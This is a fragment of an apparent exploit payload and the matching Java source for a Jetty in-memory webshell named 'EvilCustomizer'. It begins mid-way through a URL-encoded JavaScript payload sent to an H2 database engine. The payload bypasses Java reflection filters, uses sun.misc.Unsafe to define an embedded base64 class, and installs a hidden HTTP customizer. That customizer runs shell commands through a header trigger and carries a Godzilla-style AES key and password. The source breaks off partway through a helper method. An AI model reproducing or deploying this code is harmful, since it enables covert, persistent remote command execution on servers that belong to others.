eclaredField(%22methodFilterMap%22)%3B%0A%20%20if%20(fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(fieldFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20if%20(methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(methodFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20removeClassCache(java.lang.Class.forName(%22java.lang.Class%22))%3B%0A%7D%0Afunction%20setAccessible(accessibleObject)%7B%0A%20%20%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20%20%20var%20overrideField%20%3D%20java.lang.Class.forName(%22java.lang.reflect.AccessibleObject%22).getDeclaredField(%22override%22)%3B%0A%20%20%20%20var%20offset%20%3D%20unsafe.objectFieldOffset(overrideField)%3B%0A%20%20%20%20unsafe.putBoolean(accessibleObject%2C%20offset%2C%20true)%3B%0A%7D%0Afunction%20defineClass()%7B%0A%20%20var%20classBytes%20%3D%20%22yv66vgAAADQB1AgA4AoA4QDiCgA4AOMKADgA5AoA4QDlBwDmCgDhAOcKAAYA6AoABgDpCgA4AOoHAOsKADcA7AgA7QkAegDuCACFCQB6AO8HAPAKABEA7AoAEQDxCgARAPIKAHoA8wkAegD0CQD1APYKAPcA%2BAgA%2BQoANQD6CAD7CgA1APwKAK8A%2FQoArwD%2BBwD%2FCgB6AQAKAQEBAgoBAQEDCgA3AQQIAKwKAB8BBQoAHwEGBwCtCAEHCACmBwCnCAChCgA1AQgIAQkKADgBCgcBCwgBDAgBDQoANQEOCgEPARAIAREHARIHALcHARMHARQIARUKADUBFggBFwgBGAgBGQgBGggBGwgBHAoAwAEdBwEeCgBCAR8KAMABIAoAwAEhCAEiCgEjASQIAMgKADgBJQoAOAEmCAEnCgD1ASgKADgBKQgBKgoAOAErCAEsCAEtCAEuBwEvCgEwATEKATABMgoBMwE0CgBTATUIATYKAFMBNwoAUwE4CgEjATkKAToBOwoBPAE9CgE8AT4IAT8KASMBQAoAegFBCgB6AUIJAHoBQwcBRAcBRQoBAQFGCgBkAUcHAUgIAUkJAUoBSwoANQFMCgEPAP0KAUoBTQcBTgoAbgDsCgA3AQoKADgBTwoBPAFQCgA3APIKAG4BUQoAegFSCgA4AVMKAHoBVAoALwFVCgFWAVcHAVgKAHoBWQoBWgFbBwFcBwFdCgB%2BAV4HAV8HAWAHAWEBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgEAAygpVgEABHRoaXMBACZMY29tL2Jvb2dpcG9wL21lbXNoZWxsL0V2aWxDdXN0b21pemVyOwEABChJKVYBAAFJAQAJZ2V0VW5zYWZlAQATKClMc3VuL21pc2MvVW5zYWZlOwEABnVuc2FmZQEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAl0aGV1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEACkV4Y2VwdGlvbnMBAA1nZXRWYWx1ZUZpZWxkAQArKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEABXZhbHVlAQASTGphdmEvbGFuZy9PYmplY3Q7AQABagEADXRocmVhZExvY2Fsc0YBAAt0aHJlYWRsb2NhbAEABXRhYmxlAQAaW0xqYXZhL2xhbmcvcmVmL1JlZmVyZW5jZTsBAAFpAQALdGhyZWFkR3JvdXABABdMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEADHRocmVhZHNmaWxlZAEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwFkBwFlAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAB0VuY29kZXIBAAZiYXNlNjQBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABWgcBZgEACWN1c3RvbWl6ZQEAdShMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0Nvbm5lY3RvcjtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAAljb25uZWN0b3IBACRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0Nvbm5lY3RvcjsBABFodHRwQ29uZmlndXJhdGlvbgEALExvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbmZpZ3VyYXRpb247AQAHcmVxdWVzdAEAIkxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDsHAMQBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQATRXZpbEN1c3RvbWl6ZXIuamF2YQEAA01ENQcBZwwBaAFpDAFqAWsMAWwBbQwBbgFvAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAXABawwAkgFxDAFyAXMMAXQBdQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJIAkwEAEDNjNmUwYjhhOWMxNTIyNGEMAIMAhAwAhQCEAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAXYBdwwBcgF1DACGAIkMAIYAhAcBeAwBeQF6BwF7DAF8AJYBAA9zdW4ubWlzYy5VbnNhZmUMAX0BfgEACXRoZVVuc2FmZQwBfwGADAGBAYIMAYMBhAEAD3N1bi9taXNjL1Vuc2FmZQwAmACZBwGFDAGGAYcMAYgBiQwBigGLDAGMAY0MAY4BjwEADHRocmVhZExvY2FscwwBkAF1AQAnb3JnLmVjbGlwc2UuamV0dHkuc2VydmVyLkh0dHBDb25uZWN0aW9uDAGRAZIBACdvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RW5jb2RlcgwBkwGUBwGVDAGWAZcBAA5lbmNvZGVUb1N0cmluZwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgwBmAGZAQAGZW5jb2RlAQAKZ2V0RGVjb2RlcgEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAANBRVMMAWgBmgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAJIBmwwBnAGdDAGeAZ8BAA14LWNsaWVudC1kYXRhBwGgDAGhAIkMAaIBowwBpAGlAQAHb3MubmFtZQwBpgCJDAGnAXUBAAN3aW4MAagBqQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgcBqgwBqwGsDAGtAa4HAa8MAbABsQwAkgGyAQAQXEFTQURTQURBU0RTQURBUwwBswG0DAG1AXUMAbYBtwcBuAwBuQG6BwG7DAF8AbwMAb0AkwEACGdvZHppbGxhDAG%2BAIkMALgAuQwAuwC8DACHAIgBABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwBvwHADACSAcEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcBwgwBwwCIDAHEAZQMAcUBxgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHHAcgMAckBvAwBygFrDACwALEMAccBcwwAnwCgDAHLAcwHAc0MAc4BzwEAJGNvbS9ib29naXBvcC9tZW1zaGVsbC9FdmlsQ3VzdG9taXplcgwAkgCWBwHQDAHRAdIBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAkgHTAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEANW9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29uZmlndXJhdGlvbiRDdXN0b21pemVyAQAKQ3VzdG9taXplcgEADElubmVyQ2xhc3NlcwEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAC2dldEluc3RhbmNlAQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEACGdldEJ5dGVzAQAEKClbQgEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBAAh0b1N0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDspSgEACWdldE9iamVjdAEAJyhMamF2YS9sYW5nL09iamVjdDtKKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAgb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1JlcXVlc3QBAAlnZXRIZWFkZXIBABBlcXVhbHNJZ25vcmVDYXNlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAHaXNFbXB0eQEAAygpWgEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAC2dldFJlc3BvbnNlAQAlKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1Jlc3BvbnNlOwEAIW9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAMZ2V0UGFyYW1ldGVyAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAV3cml0ZQEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAUZ2V0SHR0cENvbmZpZ3VyYXRpb24BAC4oKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbmZpZ3VyYXRpb247AQAqb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uAQANYWRkQ3VzdG9taXplcgEAOihMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25maWd1cmF0aW9uJEN1c3RvbWl6ZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQB6ADcAAQCCAAQAAACDAIQAAAAAAIUAhAAAAAAAhgCEAAAAAACHAIgAAAAKAAkAhgCJAAEAigAAAKcABAADAAAAMAFMEgG4AAJNLCq2AAMDKrYABLYABbsABlkELLYAB7cACBAQtgAJtgAKTKcABE0rsAABAAIAKgAtAAsAAwCLAAAAHgAHAAAAGAACABsACAAcABUAHQAqAB8ALQAeAC4AIACMAAAAIAADAAgAIgCNAI4AAgAAADAAjwCEAAAAAgAuAJAAhAABAJEAAAATAAL%2FAC0AAgcAOAcAOAABBwALAAABAJIAkwABAIoAAAB1AAMAAQAAADcqtwAMKhINtQAOKhIPtQAQKrsAEVm3ABIqtAAQtgATKrQADrYAE7YAFLgAFbUAFrIAFwS2ABixAAAAAgCLAAAAGgAGAAAAIgAEABMACgAUABAAFQAvACMANgAkAIwAAAAMAAEAAAA3AJQAlQAAAAEAkgCWAAEAigAAAH8AAwACAAAANyq3AAwqEg21AA4qEg%2B1ABAquwARWbcAEiq0ABC2ABMqtAAOtgATtgAUuAAVtQAWsgAXBbYAGLEAAAACAIsAAAAaAAYAAAAmAAQAEwAKABQAEAAVAC8AJwA2ACgAjAAAABYAAgAAADcAlACVAAAAAAA3AI8AlwABAAoAmACZAAIAigAAAFsAAgACAAAAGxIZuAAaEhu2ABxLKgS2AB0qAbYAHsAAH0wrsAAAAAIAiwAAABIABAAAADcACwA4ABAAOQAZADoAjAAAABYAAgALABAAmgCbAAAAGQACAJwAnQABAJ4AAAAIAAMAgACBAH0ACgCfAKAAAgCKAAAB%2BQAFAAoAAAC5uAAgS7gAIbYAIkwrtgAjEiS2ABxNKisqLLYAJbYAJsAAJ04DNgQVBC2%2BogCNLRUEMrYAIxIotgAcOgUqLRUEMioZBbYAJbYAJjoGKhkGKhkGtgAjEim2ABy2ACW2ACbAACo6BwM2CBUIGQe%2BogBAKhkHFQgyKhkHFQgytgAjEiu2ABy2ACW2ACY6CRkJtgAjtgAsEi22AC6ZAAkZCcAAL7CnAAU6CYQIAaf%2FvqcABToFhAQBp%2F9yAbAAAwBvAKAApAALAC0AoACvAAsAoQCsAK8ACwADAIsAAABOABMAAAA9AAQAPgALAD8AFQBAACMAQQAtAEMAOwBEAEsARQBkAEYAbwBMAIsATQCbAE4AoQBTAKQAUQCmAEYArABYAK8AVgCxAEEAtwBaAIwAAABmAAoAiwAWAKEAogAJAGcARQCjAJcACAA7AHEApACbAAUASwBhAKUAogAGAGQASACmAKcABwAmAJEAqACXAAQABAC1AJoAnQAAAAsArgCpAKoAAQAVAKQAqwCbAAIAIwCWAKwArQADAJEAAABWAAn%2FACYABQcAHwcArgcArwcAJwEAAP8AQAAJBwAfBwCuBwCvBwAnAQcArwcANwcAKgEAADlCBwALAf8ABQAFBwAfBwCuBwCvBwAnAQAAQgcACwH6AAUAngAAAAgAAwB9AIAAgQAJALAAsQACAIoAAAFEAAYABQAAAHIBTRIwuAAaTCsSMQG2ADIrAbYAM04ttgAjEjQEvQA1WQMSNlO2ADItBL0AN1kDKlO2ADPAADhNpwA5ThI5uAAaTCu2ADo6BBkEtgAjEjsEvQA1WQMSNlO2ADIZBAS9ADdZAypTtgAzwAA4TacABToELLAAAgACADcAOgALADsAawBuAAsAAwCLAAAAMgAMAAAAXgACAGAACABhABUAYgA3AGoAOgBjADsAZQBBAGYARwBnAGsAaQBuAGgAcABrAIwAAABIAAcAFQAiALIAogADAAgAMgCzAIgAAQBHACQAsgCiAAQAQQAtALMAiAABADsANQC0ALUAAwAAAHIAtgC3AAAAAgBwAKEAhAACAJEAAAAqAAP%2FADoAAwcANgAHADgAAQcAC%2F8AMwAEBwA2AAcAOAcACwABBwAL%2BgABAJ4AAAAEAAEACwAJALgAuQACAIoAAAFEAAYABQAAAHIBTRIwuAAaTCsSPAG2ADIrAbYAM04ttgAjEj0EvQA1WQMSOFO2ADItBL0AN1kDKlO2ADPAADZNpwA5ThI%2BuAAaTCu2ADo6BBkEtgAjEj8EvQA1WQMSOFO2ADIZBAS9ADdZAypTtgAzwAA2TacABToELLAAAgACADcAOgALADsAawBuAAsAAwCLAAAAMgAMAAAAbwACAHEACAByABUAcwA3AHsAOgB0ADsAdgBBAHcARwB4AGsAegBuAHkAcAB8AIwAAABIAAcAFQAiALoAogADAAgAMgCzAIgAAQBHACQAugCiAAQAQQAtALMAiAABADsANQC0ALUAAwAAAHIAtgCEAAAAAgBwAKEAtwACAJEAAAAqAAP%2FADoAAwcAOAAHADYAAQcAC%2F8AMwAEBwA4AAcANgcACwABBwAL%2BgABAJ4AAAAEAAEACwABALsAvAABAIoAAADYAAYABAAAACwSQLgAQU4tHJkABwSnAAQFuwBCWSq0AA62AAMSQLcAQ7YARC0rtgBFsE4BsAABAAAAKAApAAsAAwCLAAAAFgAFAAAAgAAGAIEAIwCCACkAgwAqAIQAjAAAADQABQAGACMAvQC%2BAAMAKgACALQAtQADAAAALACUAJUAAAAAACwAjwC3AAEAAAAsAI0AvwACAJEAAAA8AAP%2FAA8ABAcAegcANgEHAMAAAQcAwP8AAAAEBwB6BwA2AQcAwAACBwDAAf8AGAADBwB6BwA2AQABBwALAAEAwQDCAAEAigAAAvUABwAIAAABlS0SRrYARxJItgBJmQCMLRJItgBHOgQZBMYAfBkEtgBKmgB0AToFEku4AEy2AE0STrYAT5kAGwa9ADhZAxJIU1kEElBTWQUZBFM6BacAGAa9ADhZAxJRU1kEElJTWQUZBFM6BbsAU1m4AFQZBbYAVbYAVrcAVxJYtgBZtgBaOgYttgBbtgBcOgcZBxkGtgBdGQe2AF6nAPstEka2AEcSX7YASZkA7S0qtAAQtgBguABhOgQqGQQDtgBiOgQqtABjxwBkuwBkWQO9AGW4ACG2AGa3AGc6BRJoEmkGvQA1WQMSNlNZBLIAalNZBbIAalO2AGs6BhkGBLYAbCoZBhkFBr0AN1kDGQRTWQQDuABtU1kFGQS%2BuABtU7YAM8AANbUAY6cAb7sAblm3AG86BSq0AGO2ADo6BhkGGQW2AHBXGQYZBLYAcFcZBi22AHBXLbYAW7YAXDoHGQcqtAAWAxAQtgBxtgByGQa2AHNXGQcqGQW2AHQEtgBiuAB1tgByGQcqtAAWEBC2AHa2AHIZB7YAXqcABToEsQABAAABjwGSAAsAAwCLAAAAjgAjAAAAigAOAIsAFgCMACMAjQAmAI4ANgCPAE4AkQBjAJMAfwCUAIgAlQCPAJYAlACYAJcAmQClAJsAsgCcALsAnQDCAJ4A1QCfAPMAoAD5AKEBIACiASMAowEsAKQBNQClAT0ApgFFAKcBTACoAVUAqQFkAKoBagCrAXwArAGKAK0BjwCxAZIAsAGUALIAjAAAAI4ADgAmAG4AwwDEAAUAfwAVAMUAhAAGAIgADADGAMcABwAWAH4AyACEAAQA1QBLAMkAygAFAPMALQDLAMwABgEsAGMAzQDOAAUBNQBaAM8AogAGAVUAOgDGAMcABwCyAN0A0AC3AAQAAAGVAJQAlQAAAAABlQDRANIAAQAAAZUA0wDUAAIAAAGVANUA1gADAJEAAAAeAAj9AE4HADgHANcU%2BQAwAvwAiwcANvoAa0IHAAsBAAgA2ACTAAEAigAAANEABAABAAAAOLgAd0sqtgB4tgB5uwB6WQS3AHu2AHynACFLuwB%2BWSq3AH%2B%2FS7sAflkqtwB%2Fv0u7AH5ZKrcAf7%2BxAAMAAAAWABkAfQAAABYAIwCAAAAAFgAtAIEAAwCLAAAAKgAKAAAALAAEAC0AFgA0ABkALgAaAC8AIwAwACQAMQAtADIALgAzADcANQCMAAAAKgAEAAQAEgDZANoAAAAaAAkAtADbAAAAJAAJALQA3AAAAC4ACQC0AN0AAACRAAAADwAEWQcAfUkHAIBJBwCBCQACAN4AAAACAN8BYwAAAAoAAQCCAVoBYgYJ%22%3B%0A%20%20var%20bytes%20%3D%20java.util.Base64.getDecoder().decode(classBytes)%3B%0A%20%20var%20clz%20%3D%20null%3B%0A%20%20var%20version%20%3D%20java.lang.System.getProperty(%22java.version%22)%3B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classLoader%20%3D%20new%20java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.net.URL%22)%2C%200))%3B%0A%20%20try%7B%0A%20%20%20%20if%20(version.split(%22.%22)%5B0%5D%20%3E%3D%2011)%20%7B%0A%20%20%20%20%20%20bypassReflectionFilter()%3B%0A%20%20%20%20%20%20defineClassMethod%20%3D%20java.lang.Class.forName(%22java.lang.ClassLoader%22).getDeclaredMethod(%22defineClass%22%2C%20java.lang.Class.forName(%22%5BB%22)%2Cjava.lang.Integer.TYPE%2C%20java.lang.Integer.TYPE)%3B%0A%20%20%20%20%20%20setAccessible(defineClassMethod)%3B%20%0A%20%20%20%20%20%20clz%20%3D%20defineClassMethod.invoke(classLoader%2C%20bytes%2C%200%2C%20bytes.length)%3B%0A%20%20%20%20%7Delse%7B%0A%20%20%20%20%20%20var%20protectionDomain%20%3D%20new%20java.security.ProtectionDomain(new%20java.security.CodeSource(null%2C%20java.lang.reflect.Array.newInstance(java.lang.Class.forName(%22java.security.cert.Certificate%22)%2C%200))%2C%20null%2C%20classLoader%2C%20%5B%5D)%3B%0A%20%20%20%20%20%20clz%20%3D%20unsafe.defineClass(null%2C%20bytes%2C%200%2C%20bytes.length%2C%20classLoader%2C%20protectionDomain)%3B%0A%20%20%20%20%7D%0A%20%20%7Dcatch(error)%7B%0A%20%20%20%20error.printStackTrace()%3B%0A%20%20%7Dfinally%7B%0A%20%20%20%20return%20clz.newInstance()%3B%0A%20%20%7D%0A%7D%0AdefineClass()%3B'))\u000A$$"
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}
package com.boogipop.memshell;

import org.eclipse.jetty.server.*;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Map;
import java.util.Scanner;

//author:Boogipop

public class EvilCustomizer implements HttpConfiguration.Customizer {
    String xc = "3c6e0b8a9c15224a"; // key
    String pass = "pass";
    String md5 = md5(pass + xc);
    Class payload;
    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }
    public EvilCustomizer() {
        System.out.println(1);
    }

    public EvilCustomizer(int s) {
        System.out.println(2);
    }

    static {
        try {
            HttpConnection valueField = getValueField();
            valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1));
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
    private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        unsafe.setAccessible(true);
        sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
        return theunsafe;
    }
    private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
        Unsafe unsafe = getUnsafe();
        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
        Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
        Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
        for(int i=0;i<threads.length;i++) {
            try {
                Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
                Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
                Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
                for(int j=0;j<table.length;j++){
                    try {
                        //HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                        //PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
                        //writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
                        //writer.flush();
                        Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                        if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
                            return (HttpConnection)value;
                        }
                    }
                    catch (Exception e){

                    }
                }

            } catch (Exception e) {

            }
        }
        return null;
    }
    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
